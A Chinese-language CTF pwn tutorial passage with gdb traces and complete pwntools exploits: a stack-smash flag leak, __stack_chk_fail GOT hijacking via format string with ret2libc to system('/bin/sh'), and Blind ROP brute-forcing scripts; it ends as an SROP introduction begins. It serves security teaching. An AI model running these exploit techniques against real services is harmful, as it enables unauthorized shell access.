─────────────────────────────────────[ code:i386:x86-64 ]────
   0x7ffff7b7f920 <__memset_chk_avx2+0> cmp    rcx, rdx
   0x7ffff7b7f923 <__memset_chk_avx2+3> jb     0x7ffff7b24110 <__GI___chk_fail>
   0x7ffff7b7f929                  nop    DWORD PTR [rax+0x0]
 → 0x7ffff7b7f930 <__memset_avx2+0> vpxor  xmm0, xmm0, xmm0
   0x7ffff7b7f934 <__memset_avx2+4> vmovd  xmm1, esi
   0x7ffff7b7f938 <__memset_avx2+8> lea    rsi, [rdi+rdx*1]
   0x7ffff7b7f93c <__memset_avx2+12> mov    rax, rdi
───────────────────────────────────────────────────────────────────[ stack ]────
['0x7fffffffda38', 'l8']
8
0x00007fffffffda38│+0x00: 0x0000000000400878  →   mov edi, 0x40094e	 ← $rsp
0x00007fffffffda40│+0x08: 0x0071717171717171 ("qqqqqqq"?)
0x00007fffffffda48│+0x10: 0x0000000000000000
0x00007fffffffda50│+0x18: 0x0000000000000000
0x00007fffffffda58│+0x20: 0x0000000000000000
0x00007fffffffda60│+0x28: 0x0000000000000000
0x00007fffffffda68│+0x30: 0x0000000000000000
0x00007fffffffda70│+0x38: 0x0000000000000000
──────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x7ffff7b7f930 → Name: __memset_avx2()
[#1] 0x400878 → mov edi, 0x40094e
──────────────────────────────────────────────────────────────────────────────
gef➤  find 22222
Argument required (expression to compute).
gef➤  find '22222'
No symbol "22222" in current context.
gef➤  grep '22222'
[+] Searching '22222' in memory
[+] In '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes'(0x600000-0x601000), permission=rw-
  0x600d20 - 0x600d3f  →   "222222222's the flag on server}" 
[+] In '[heap]'(0x601000-0x622000), permission=rw-
  0x601010 - 0x601019  →   "222222222" 
gef➤  grep PCTF
[+] Searching 'PCTF' in memory
[+] In '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes'(0x400000-0x401000), permission=r-x
  0x400d20 - 0x400d3f  →   "PCTF{Here's the flag on server}" 

可以看出我们读入的 2222 已经覆盖了 0x600d20 处的 flag,但是我们在内存的 0x400d20 处仍然找到了这个flag的备份,所以我们还是可以将其输出。这里我们已经确定了 flag 的地址。

确定偏移

下面,我们确定 argv[0] 距离读取的字符串的偏移。

首先下断点在 main 函数入口处,如下

gef➤  b *0x00000000004006D0
Breakpoint 1 at 0x4006d0
gef➤  r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes 

Breakpoint 1, 0x00000000004006d0 in ?? ()
 code:i386:x86-64 ]────
     0x4006c0 <_IO_gets@plt+0> jmp    QWORD PTR [rip+0x20062a]        # 0x600cf0 <_IO_gets@got.plt>
     0x4006c6 <_IO_gets@plt+6> push   0x9
     0x4006cb <_IO_gets@plt+11> jmp    0x400620
 →   0x4006d0                  sub    rsp, 0x8
     0x4006d4                  mov    rdi, QWORD PTR [rip+0x200665]        # 0x600d40 <stdout>
     0x4006db                  xor    esi, esi
     0x4006dd                  call   0x400660 <setbuf@plt>
──────────────────────────────────────────────────────────────────[ stack ]────
['0x7fffffffdb78', 'l8']
8
0x00007fffffffdb78│+0x00: 0x00007ffff7a2d830  →  <__libc_start_main+240> mov edi, eax	 ← $rsp
0x00007fffffffdb80│+0x08: 0x0000000000000000
0x00007fffffffdb88│+0x10: 0x00007fffffffdc58  →  0x00007fffffffe00b  →  "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/exam[...]"
0x00007fffffffdb90│+0x18: 0x0000000100000000
0x00007fffffffdb98│+0x20: 0x00000000004006d0  →   sub rsp, 0x8
0x00007fffffffdba0│+0x28: 0x0000000000000000
0x00007fffffffdba8│+0x30: 0x48c916d3cf726fe3
0x00007fffffffdbb0│+0x38: 0x00000000004006ee  →   xor ebp, ebp
──────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x4006d0 → sub rsp, 0x8
[#1] 0x7ffff7a2d830 → Name: __libc_start_main(main=0x4006d0, argc=0x1, argv=0x7fffffffdc58, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdc48)
---Type <return> to continue, or q <return> to quit---
[#2] 0x400717 → hlt 

可以看出 0x00007fffffffe00b 指向程序名,其自然就是 argv[0],所以我们修改的内容就是这个地址。同时0x00007fffffffdc58 处保留着该地址,所以我们真正需要的地址是 0x00007fffffffdc58。

此外,根据汇编代码

.text:00000000004007E0                 push    rbp
.text:00000000004007E1                 mov     esi, offset aHelloWhatSYour ; "Hello!\nWhat's your name? "
.text:00000000004007E6                 mov     edi, 1
.text:00000000004007EB                 push    rbx
.text:00000000004007EC                 sub     rsp, 118h
.text:00000000004007F3                 mov     rax, fs:28h
.text:00000000004007FC                 mov     [rsp+128h+var_20], rax
.text:0000000000400804                 xor     eax, eax
.text:0000000000400806                 call    ___printf_chk
.text:000000000040080B                 mov     rdi, rsp
.text:000000000040080E                 call    __IO_gets

我们可以确定我们读入的字符串的起始地址其实就是调用 __IO_gets 之前的 rsp,所以我们把断点下在 call 处,如下

gef➤  b *0x000000000040080E
Breakpoint 2 at 0x40080e
gef➤  c
Continuing.
Hello!
What's your name? 
Breakpoint 2, 0x000000000040080e in ?? ()
──────────────────────────[ code:i386:x86-64 ]────
     0x400804                  xor    eax, eax
     0x400806                  call   0x4006b0 <__printf_chk@plt>
     0x40080b                  mov    rdi, rsp
 →   0x40080e                  call   0x4006c0 <_IO_gets@plt>
   ↳    0x4006c0 <_IO_gets@plt+0> jmp    QWORD PTR [rip+0x20062a]        # 0x600cf0 <_IO_gets@got.plt>
        0x4006c6 <_IO_gets@plt+6> push   0x9
        0x4006cb <_IO_gets@plt+11> jmp    0x400620
        0x4006d0                  sub    rsp, 0x8
──────────────────[ stack ]────
['0x7fffffffda40', 'l8']
8
0x00007fffffffda40│+0x00: 0x0000ff0000000000	 ← $rsp, $rdi
0x00007fffffffda48│+0x08: 0x0000000000000000
0x00007fffffffda50│+0x10: 0x0000000000000000
0x00007fffffffda58│+0x18: 0x0000000000000000
0x00007fffffffda60│+0x20: 0x0000000000000000
0x00007fffffffda68│+0x28: 0x0000000000000000
0x00007fffffffda70│+0x30: 0x0000000000000000
0x00007fffffffda78│+0x38: 0x0000000000000000
────────────────────────────────────────────[ trace ]────
[#0] 0x40080e → call 0x4006c0 <_IO_gets@plt>
──────────────────────────────────────────────────────────
gef➤  print $rsp
$1 = (void *) 0x7fffffffda40

可以看出rsp的值为0x7fffffffda40,那么相对偏移为

>>> 0x00007fffffffdc58-0x7fffffffda40
536
>>> hex(536)
'0x218'

利用程序

我们构造利用程序如下

from pwn import *
context.log_level = 'debug'
smash = ELF('/mnt/hgfs/ShareDir/ctf/share/5_stack_smashes/smashes')
if args['REMOTE']:
    sh = remote('pwn.jarvisoj.com', 9877)
else:
    sh = process('/mnt/hgfs/ShareDir/ctf/share/5_stack_smashes/smashes')
argv_addr = 0x00007fffffffdc58
name_addr = 0x7fffffffda40
flag_addr = 0x600D20
another_flag_addr = 0x400d20
payload = 'a' * (argv_addr - name_addr) + p64(another_flag_addr)
sh.recvuntil('name? ')
sh.sendline(payload)
sh.recvuntil('flag: ')
sh.sendline('bb')
data = sh.recv()
sh.interactive()

接下来结合上面例题有关canary的知识,我们发散一个分支,来一起看一下 Canary 绕过技术之劫持__stack_chk_fail函数

6_canary pivoting

序言

已知 Canary 失败的处理逻辑会进入到 __stack_chk_fail 函数,__stack_chk_fail 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。利用方式是通过 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表,再进行 ROP 利用。

下面来看一道例题 ZCTF2017 Login

我们优先看下checksec

$ checksec login
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

拖到32位IDA中看下,大概长这样,两个关键函数 readsprintf
image.png
image.png
image.png

1、覆盖__stack_chk_fail 的GOT表项

offset_eax

观察上图,format string实际存放在0xffffd216,字符串被sprintf写入0xffffd19c(eax),所以要覆写format string,payload前还需要0xffffd216 - 0xffffd19c = 0x7a字节,具体填充在下面代码注释中:

def exploit():
    offset = 0x50  # 0x4c + 0x4   sprintf写入字符串的长度为0x4c + ebp
    offset_eax = 0x7a  # 0xffffd216 - 0xffffd19c = 0x7a
    # __stack_chk_fail GOT表中的地址,用于后面修改
    payload = p32(binary.symbols['got.__stack_chk_fail']) # stack
    # sprintf写入字符串的长度为0x4c,减去前面__stack_chk_fail的地址,再加上ebp
    payload += 'a' * (offset - 0x4)		# stack+ebp = offset-0x4(got.__stack_chk_fail)
    # 将返回地址覆盖为main函数地址,以便再次获得执行机会
    payload += p32(binary.symbols['main'])	# ret addr
    # 填充一定字节直到可以覆盖format string
    payload += 'a' * (offset_eax - offset + 0x4)# padding 0x26
    # 将format string修改为如下内容
    payload += r'%s:%39x%10$hhn' + '\x00'	# r''中内容不进行转义处理
    # %s 读取payload,使格式化字符串被覆盖
    # %n 配合%c或%x使用,%n负责统计输出的字符数量,写入到%n对应变量里。
    # 在上面的%10$hhn中,10$指第10个变量,hhn指写入一个字节
    # 8 alarm
    # 39 malloc
...

2、通过泄露puts的真实地址找到当前libc

第一部分的代码执行完后,__stack_chk_fail 的GOT被覆盖为malloc@plt,不会触发 Canary 机制,同时返回到 main 中,我们有了第二次输入的机会。

第二次输入将返回地址覆盖为 puts,返回地址依然设为 main 以获得第三次输入的机会,同时将 puts 的GOT表项作为 puts 的参数,这样我们就可以泄漏libc中 puts 的真实地址。

这里我们选用LibcSeacher的方式,基于泄露的 puts 真实地址算出libc_base,并顺手获取后续我们要用到的 system/bin/sh 在libc中的地址。

...
    payload = 'a' * offset			# 填充字符覆盖到ret前
    payload += p32(binary.symbols['plt.puts'])  # return address
    payload += p32(binary.symbols['main'])      # return from puts
    payload += p32(binary.symbols['got.puts'])  # args of puts

    # leak libc
    input_username(payload)
    input_passsword(p32(0))

    p.recvuntil('aaaa')			# `Login successful!`后的回显
    p.recvline()			# 读取完整的该行回显
    leak = p.recvline()[:4]		# 第二次puts的输出,取前4字节

    leak_puts_addr = u32(leak)
    print 'leak_puts_addr = ', hex(leak_puts_addr)

    libc = LibcSearcher('puts', leak_puts_addr)
    libc_base = leak_puts_addr - libc.dump('puts')
    system_addr = libc.dump('system') + libc_base
    binsh_addr = libc.dump('str_bin_sh') + libc_base
    print 'system_addr = ', hex(system_addr)
    print 'binsh_addr = ', hex(binsh_addr)
...

3、通过ROP get shell

...
    payload = '\x90' * offset + p32(system_addr) + p32(binary.symbols['main']) + p32(binsh_addr)

    input_username(payload)
    input_passsword(p32(0))

    p.interactive()
完整exp:
# coding=utf-8
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
# context.log_level = 'DEBUG'

bin_path = '/mnt/hgfs/ShareDir/ctf/share/6_canary_privot/login'

binary = ELF(bin_path)

def debug(command=''):
    gdb.attach(p, command)

def input_username(name):
    print 'username: ', name, hex(len(name))
    p.recvuntil('username:')
    p.sendline(name)

def input_passsword(password):
    p.recvuntil('password:')
    p.sendline(password)

def exploit():
    #debug('b *0x8048751\nc\n')
    offset = 0x50  # 0x4c + 0x4   sprintf写入字符串的长度为0x4c + ebp
    offset_eax = 0x7a  # 0xffffd216 - 0xffffd19c = 0x7a
    # __stack_chk_fail GOT表中的地址,用于后面修改
    payload = p32(binary.symbols['got.__stack_chk_fail'])   # stack
    # sprintf写入字符串的长度为0x4c,减去前面__stack_chk_fail的地址,再加上ebp
    payload += 'a' * (offset - 0x4)                         # stack+ebp = offset-0x4(got.__stack_chk_fail)
    # 将返回地址覆盖为main函数地址,以便再次获得执行机会
    payload += p32(binary.symbols['main'])                  # ret addr
    # 填充一定字节直到可以覆盖format string
    payload += 'a' * (offset_eax - offset - 0x4)            # padding 0x26
    # 将format string修改为如下内容
    payload += r'%s:%39x%10$hhn' + '\x00'                   # r''中内容不进行转义处理
    # %s 读取payload,使格式化字符串被覆盖
    # %n 配合%c或%x使用,%n负责统计输出的字符数量,写入到%n对应变量里。
    # 在上面的%10$hhn中,10$指第10个变量,hhn指写入一个字节
    # 8 alarm
	# 39 malloc

    print len(payload)
    input_username(payload)
    input_passsword(p32(0))

    payload = 'a' * offset                                  # 填充字符覆盖到ret前
    payload += p32(binary.symbols['plt.puts'])              # return address
    payload += p32(binary.symbols['main'])                  # return from puts
    payload += p32(binary.symbols['got.puts'])              # args of puts
    # PTL表中存放着与之对应的GOT表,而GOT表中存放着函数的真实地址

    # leak libc
    input_username(payload)
    input_passsword(p32(0))

    p.recvuntil('aaaa')                                     # `Login successful!`后的回显
    p.recvline()                                            # 读取完整的该行回显
    leak = p.recvline()[:4]                                 # 第二次puts的输出,取前4字节

    leak_puts_addr = u32(leak)
    print 'leak_puts_addr = ', hex(leak_puts_addr)

    libc = LibcSearcher('puts', leak_puts_addr)
    libc_base = leak_puts_addr - libc.dump('puts')
    system_addr = libc.dump('system') + libc_base
    binsh_addr = libc.dump('str_bin_sh') + libc_base
    print 'system_addr = ', hex(system_addr)
    print 'binsh_addr = ', hex(binsh_addr)

    payload = '\x90' * offset + p32(system_addr) + p32(binary.symbols['main']) + p32(binsh_addr)

    input_username(payload)
    input_passsword(p32(0))

    p.interactive()


if __name__ == '__main__':
    global p
    p = process(executable=bin_path, argv=[bin_path])
    exploit()

7_BROP

基本介绍

BROP(Blind ROP)于2014年由Standford的Andrea Bittau提出,其相关研究成果发表在Oakland 2014,其论文题目是Hacking Blind,下面是作者对应的paper和slides,以及作者相应的介绍

BROP是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。

攻击条件

  1. 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
  2. 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有ASLR保护,但是其只是在程序最初启动的时候有效果)。目前nginx, MySQL, Apache, OpenSSH等服务器应用都是符合这种特性的。

攻击原理

目前,大部分应用都会开启ASLR、NX、Canary保护。这里我们分别讲解在BROP中如何绕过这些保护,以及如何进行攻击。

基本思路

在BROP中,基本的遵循的思路如下

  • 判断栈溢出长度
    • 暴力枚举
  • Stack Reading
    • 获取栈上的数据来泄露canaries,以及ebp和返回地址。
  • Blind ROP
    • 找到足够多的 gadgets 来控制输出函数的参数,并且对其进行调用,比如说常见的 write 函数以及puts函数。
  • Build the exploit
    • 利用输出函数来 dump 出程序以便于来找到更多的 gadgets,从而可以写出最后的 exploit。

栈溢出长度

直接从1暴力枚举即可,直到发现程序崩溃。

Stack Reading

如下所示,这是目前经典的栈布局

buffer|canary|saved fame pointer|saved returned address

要向得到canary以及之后的变量,我们需要解决第一个问题,如何得到overflow的长度,这个可以通过不断尝试来获取。

其次,关于canary以及后面的变量,所采用的的方法一致,这里我们以canary为例。

canary本身可以通过爆破来获取,但是如果只是愚蠢地枚举所有的数值的话,显然是低效的。

需要注意的是,攻击条件2表明了程序本身并不会因为crash有变化,所以每次的canary等值都是一样的。所以我们可以按照字节进行爆破。正如论文中所展示的,每个字节最多有256种可能,所以在32位的情况下,我们最多需要爆破1024次,64位最多爆破2048次。

stack_reading

Blind ROP

基本思路

最朴素的执行write函数的方法就是构造系统调用。

pop rdi; ret # socket
pop rsi; ret # buffer
pop rdx; ret # length
pop rax; ret # write syscall number
syscall

但通常来说,这样的方法都是比较困难的,因为想要找到一个syscall的地址基本不可能。。。我们可以通过转换为找write的方式来获取。

BROP gadgets

首先,在libc_csu_init的结尾一长串的gadgets,我们可以通过偏移来获取write函数调用的前两个参数。正如文中所展示的

brop_gadget

find a call write

我们可以通过plt表来获取write的地址。

control rdx

需要注意的是,rdx只是我们用来输出程序字节长度的变量,只要不为0即可。一般来说程序中的rdx经常性会不是零。但是为了更好地控制程序输出,我们仍然尽量可以控制这个值。但是,在程序

pop rdx; ret

这样的指令几乎没有。那么,我们该如何控制rdx的数值呢?这里需要说明执行strcmp的时候,rdx会被设置为将要被比较的字符串的长度,所以我们可以找到strcmp函数,从而来控制rdx。

那么接下来的问题,我们就可以分为两项

  • 寻找gadgets
  • 寻找PLT表
    • write入口
    • strcmp入口
寻找gadgets

首先,我们来想办法寻找gadgets。此时,由于尚未知道程序具体长什么样,所以我们只能通过简单的控制程序的返回地址为自己设置的值,从而而来猜测相应的gadgets。而当我们控制程序的返回地址时,一般有以下几种情况

  • 程序直接崩溃
  • 程序运行一段时间后崩溃
  • 程序一直运行而并不崩溃

为了寻找合理的gadgets,我们可以分为以下两步

寻找stop gadgets

所谓stop gadget一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态。

其实stop gadget也并不一定得是上面的样子,其根本的目的在于告诉攻击者,所测试的返回地址是一个gadgets。

之所以要寻找stop gadgets,是因为当我们猜到某个gadgtes后,如果我们仅仅是将其布置在栈上,由于执行完这个gadget之后,程序还会跳到栈上的下一个地址。如果该地址是非法地址,那么程序就会crash。这样的话,在攻击者看来程序只是单纯的crash了。因此,攻击者就会认为在这个过程中并没有执行到任何的useful gadget,从而放弃它。例子如下图

stop_gadget

但是,如果我们布置了stop gadget,那么对于我们所要尝试的每一个地址,如果它是一个gadget的话,那么程序不会崩溃。接下来,就是去想办法识别这些gadget。

识别 gadgets

那么,我们该如何识别这些gadgets呢?我们可以通过栈布局以及程序的行为来进行识别。为了更加容易地进行介绍,这里定义栈上的三种地址

  • Probe
    • 探针,也就是我们想要探测的代码地址。一般来说,都是64位程序,可以直接从0x400000尝试,如果不成功,有可能程序开启了PIE保护,再不济,就可能是程序是32位了。。这里我还没有特别想明白,怎么可以快速确定远程的位数。
  • Stop
    • 不会使得程序崩溃的stop gadget的地址。
  • Trap
    • 可以导致程序崩溃的地址

我们可以通过在栈上摆放不同顺序的StopTrap从而来识别出正在执行的指令。因为执行Stop意味着程序不会崩溃,执行Trap意味着程序会立即崩溃。这里给出几个例子

  • probe,stop,traps(traps,traps,…)
    • 我们通过程序崩溃与否(如果程序在probe处直接崩溃怎么判断)可以找到不会对栈进行pop操作的gadget,如
      • ret
      • xor eax,eax; ret
  • probe,trap,stop,traps
    • 我们可以通过这样的布局找到只是弹出一个栈变量的gadget。如
      • pop rax; ret
      • pop rdi; ret
  • probe, trap, trap, trap, trap, trap, trap, stop, traps
    • 我们可以通过这样的布局来找到弹出6个栈变量的gadget,也就是与brop gadget相似的gadget。**这里感觉原文是有问题的,比如说如果遇到了只是pop一个栈变量的地址,其实也是不会崩溃的,,**这里一般来说会遇到两处比较有意思的地方
      • plt处不会崩,,
      • _start处不会崩,相当于程序重新执行。

之所以要在每个布局的后面都放上trap,是为了能够识别出,当我们的probe处对应的地址执行的指令跳过了stop,程序立马崩溃的行为。

但是,即使是这样,我们仍然难以识别出正在执行的gadget到底是在对哪个寄存器进行操作。

但是,需要注意的是向BROP这样的一下子弹出6个寄存器的gadgets,程序中并不经常出现。所以,如果我们发现了这样的gadgets,那么,有很大的可能性,这个gadgets就是brop gadgets。此外,这个gadgets通过错位还可以生成pop rsp等这样的gadgets,可以使得程序崩溃也可以作为识别这个gadgets的标志。

此外,根据我们之前学的ret2libc_csu_init可以知道该地址减去0x1a就会得到其上一个gadgets。可以供我们调用其它函数。

需要注意的是probe可能是一个stop gadget,我们得去检查一下,怎么检查呢?我们只需要让后面所有的内容变为trap地址即可。因为如果是stop gadget的话,程序会正常执行,否则就会崩溃。看起来似乎很有意思.

寻找PLT

如下图所示,程序的plt表具有比较规整的结构,每一个plt表项都是16字节。而且,在每一个表项的6字节偏移处,是该表项对应的函数的解析路径,即程序最初执行该函数的时候,会执行该路径对函数的got地址进行解析。

brop_plt

此外,对于大多数plt调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。所以说,如果我们发现了一系列的长度为16的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了plt表。除此之外,我们还可以通过前后偏移6字节,来判断我们是处于plt表项中间还是说处于开头。

控制rdx

当我们找到plt表之后,下面,我们就该想办法来控制rdx的数值了,那么该如何确认strcmp的位置呢?需要提前说的是,并不是所有的程序都会调用strcmp函数,所以在没有调用strcmp函数的情况下,我们就得利用其它方式来控制rdx的值了。这里给出程序中使用strcmp函数的情况。

之前,我们已经找到了brop的gadgets,所以我们可以控制函数的前两个参数了。与此同时,我们定义以下两种地址

  • readable,可读的地址。
  • bad, 非法地址,不可访问,比如说0x0。

那么我们如果控制传递的参数为这两种地址的组合,会出现以下四种情况

  • strcmp(bad,bad)
  • strcmp(bad,readable)
  • strcmp(readable,bad)
  • strcmp(readable,readable)

只有最后一种格式,程序才会正常执行。

:在没有PIE保护的时候,64位程序的ELF文件的0x400000处有7个非零字节。

那么我们该如何具体地去做呢?有一种比较直接的方法就是从头到尾依次扫描每个plt表项,但是这个却比较麻烦。我们可以选择如下的一种方法

  • 利用plt表项的慢路径
  • 并且利用下一个表项的慢路径的地址来覆盖返回地址

这样,我们就不用来回控制相应的变量了。

当然,我们也可能碰巧找到strncmp或者strcasecmp函数,它们具有和strcmp一样的效果。

寻找输出函数

寻找输出函数既可以寻找write,也可以寻找puts。一般现先找puts函数。不过这里为了介绍方便,先介绍如何寻找write。

寻找write@plt

当我们可以控制write函数的三个参数的时候,我们就可以再次遍历所有的plt表,根据write函数将会输出内容来找到对应的函数。需要注意的是,这里有个比较麻烦的地方在于我们需要找到文件描述符的值。一般情况下,我们有两种方法来找到这个值

  • 使用rop chain,同时使得每个rop对应的文件描述符不一样
  • 同时打开多个连接,并且我们使用相对较高的数值来试一试。

需要注意的是

  • linux默认情况下,一个进程最多只能打开1024个文件描述符。
  • posix标准每次申请的文件描述符数值总是当前最小可用数值。

当然,我们也可以选择寻找puts函数。

寻找puts@plt

寻找puts函数(这里我们寻找的是 plt),我们自然需要控制rdi参数,在上面,我们已经找到了brop gadget。那么,我们根据brop gadget偏移9可以得到相应的gadgets(由2_ret2csu中后续可得)。同时在程序还没有开启PIE保护的情况下,0x400000处为ELF文件的头部,其内容为\x7fELF。所以我们可以根据这个来进行判断。一般来说,其payload如下

payload = 'A'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)

攻击总结

此时,攻击者已经可以控制输出函数了,那么攻击者就可以输出.text段更多的内容以便于来找到更多合适gadgets。同时,攻击者还可以找到一些其它函数,如dup2或者execve函数。一般来说,攻击者此时会去做下事情

  • 将socket输出重定向到输入输出
  • 寻找“/bin/sh”的地址。一般来说,最好是找到一块可写的内存,利用write函数将这个字符串写到相应的地址。
  • 执行execve获取shell,获取execve不一定在plt表中,此时攻击者就需要想办法执行系统调用了。

例子

这里我们以 HCTF2016的出题人失踪了 为例。基本思路如下

确定栈溢出长度

def getbufferflow_length():
    i = 1
    while 1:
        try:
            sh = remote('127.0.0.1', 9999)
            sh.recvuntil('WelCome my friend,Do you know password?\n')
            sh.send(i * 'a')
            output = sh.recv()
            sh.close()
            if not output.startswith('No password'):
                return i - 1
            else:
                i += 1
        except EOFError:
            sh.close()
            return i - 1

根据上面,我们可以确定,栈溢出的长度为72。同时,根据回显信息可以发现程序并没有开启canary保护,否则,就会有相应的报错内容。所以我们不需要执行stack reading。

寻找 stop gadgets

寻找过程如下

def get_stop_addr(length):
    addr = 0x400000
    while 1:
        try:
            sh = remote('127.0.0.1', 9999)
            sh.recvuntil('password?\n')
            payload = 'a' * length + p64(addr)
            sh.sendline(payload)
            sh.recv()
            sh.close()
            print 'one success addr: 0x%x' % (addr)
            return addr
        except Exception:
            addr += 1
            sh.close()

这里我们直接尝试64位程序没有开启PIE的情况,因为一般是这个样子的,,,如果开启了,,那就按照开启了的方法做,,结果发现了不少,,我选择了一个貌似返回到源程序中的地址

one success stop gadget addr: 0x4006b6

识别brop gadgets

下面,我们根据上面介绍的原理来得到对应的brop gadgets地址。构造如下,get_brop_gadget是为了得到可能的brop gadget,后面的check_brop_gadget是为了检查。

def get_brop_gadget(length, stop_gadget, addr):
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
            stop_gadget) + p64(0) * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        print content
        # stop gadget returns memory
        if not content.startswith('WelCome'):
            return False
        return True
    except Exception:
        sh.close()
        return False


def check_brop_gadget(length, addr):
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'a' * length + p64(addr) + 'a' * 8 * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        return False
    except Exception:
        sh.close()
        return True


##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4006b6
addr = 0x400740
while 1:
    print hex(addr)
    if get_brop_gadget(length, stop_gadget, addr):
        print 'possible brop gadget: 0x%x' % addr
        if check_brop_gadget(length, addr):
            print 'success brop gadget: 0x%x' % addr
            break
    addr += 1

这样,我们基本得到了brop的gadgets地址0x4007ba

确定puts@plt地址

根据上面,所说我们可以构造如下payload来进行获取

payload = 'A'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)

具体函数如下

def get_puts_addr(length, rdi_ret, stop_gadget):
    addr = 0x400000
    while 1:
        print hex(addr)
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
            addr) + p64(stop_gadget)
        sh.sendline(payload)
        try:
            content = sh.recv()
            if content.startswith('\x7fELF'):
                print 'find puts@plt addr: 0x%x' % addr
                return addr
            sh.close()
            addr += 1
        except Exception:
            sh.close()
            addr += 1

最后根据plt的结构,选择0x400560作为puts@plt

泄露puts@got地址

在我们可以调用puts函数后,我们可以泄露puts函数的地址,进而获取libc版本,从而获取相关的system函数地址与/bin/sh地址,从而获取shell。我们从0x400000开始泄露0x1000个字节,这已经足够包含程序的plt部分了。代码如下

def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
    sh = remote('127.0.0.1', 9999)
    payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
        puts_plt) + p64(stop_gadget)
    sh.recvuntil('password?\n')
    sh.sendline(payload)
    try:
        data = sh.recv()
        sh.close()
        try:
            data = data[:data.index("\nWelCome")]
        except Exception:
            data = data
        if data == "":
            data = '\x00'
        return data
    except Exception:
        sh.close()
        return None


##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
addr = 0x400000
result = ""
while addr < 0x401000:
    print hex(addr)
    data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
    if data is None:
        continue
    else:
        result += data
    addr += len(data)
with open('code', 'wb') as f:
    f.write(result)

最后,我们将泄露的内容写到文件里。需要注意的是如果泄露出来的是“”,那说明我们遇到了’\x00’,因为puts是输出字符串,字符串是以’\x00’为终止符的。之后利用ida打开binary模式,首先在edit->segments->rebase program 将程序的基地址改为0x400000,然后找到偏移0x560处,如下

seg000:0000000000400560                 db 0FFh
seg000:0000000000400561                 db  25h ; %
seg000:0000000000400562                 db 0B2h ;
seg000:0000000000400563                 db  0Ah
seg000:0000000000400564                 db  20h
seg000:0000000000400565                 db    0

然后按下c,将此处的数据转换为汇编指令,如下

seg000:0000000000400560 ; ---------------------------------------------------------------------------
seg000:0000000000400560                 jmp     qword ptr cs:601018h
seg000:0000000000400566 ; ---------------------------------------------------------------------------
seg000:0000000000400566                 push    0
seg000:000000000040056B                 jmp     loc_400550
seg000:000000000040056B ; ---------------------------------------------------------------------------

这说明,puts@got的地址为0x601018。

程序利用

##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
##leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018

sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
    stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
    system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

8_SROP

基本介绍

SROP(Sigreturn Oriented Programming)于2014年被Vrije Universiteit Amsterdam的Erik Bosman提出,其相关研究**Framing Signals — A Return to Portable Shellcode**发表在安全顶级会议Oakland 2014上,被评选为当年的Best Student Papers。其中相关的paper以及slides的链接如下:

paper

slides

其中,sigreturn是一个系统调用,在类unix系统发生signal的时候会被间接地调用。

signal机制

signal机制是类unix系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用kill来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

ProcessOfSignalHandlering

  1. 内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核态。

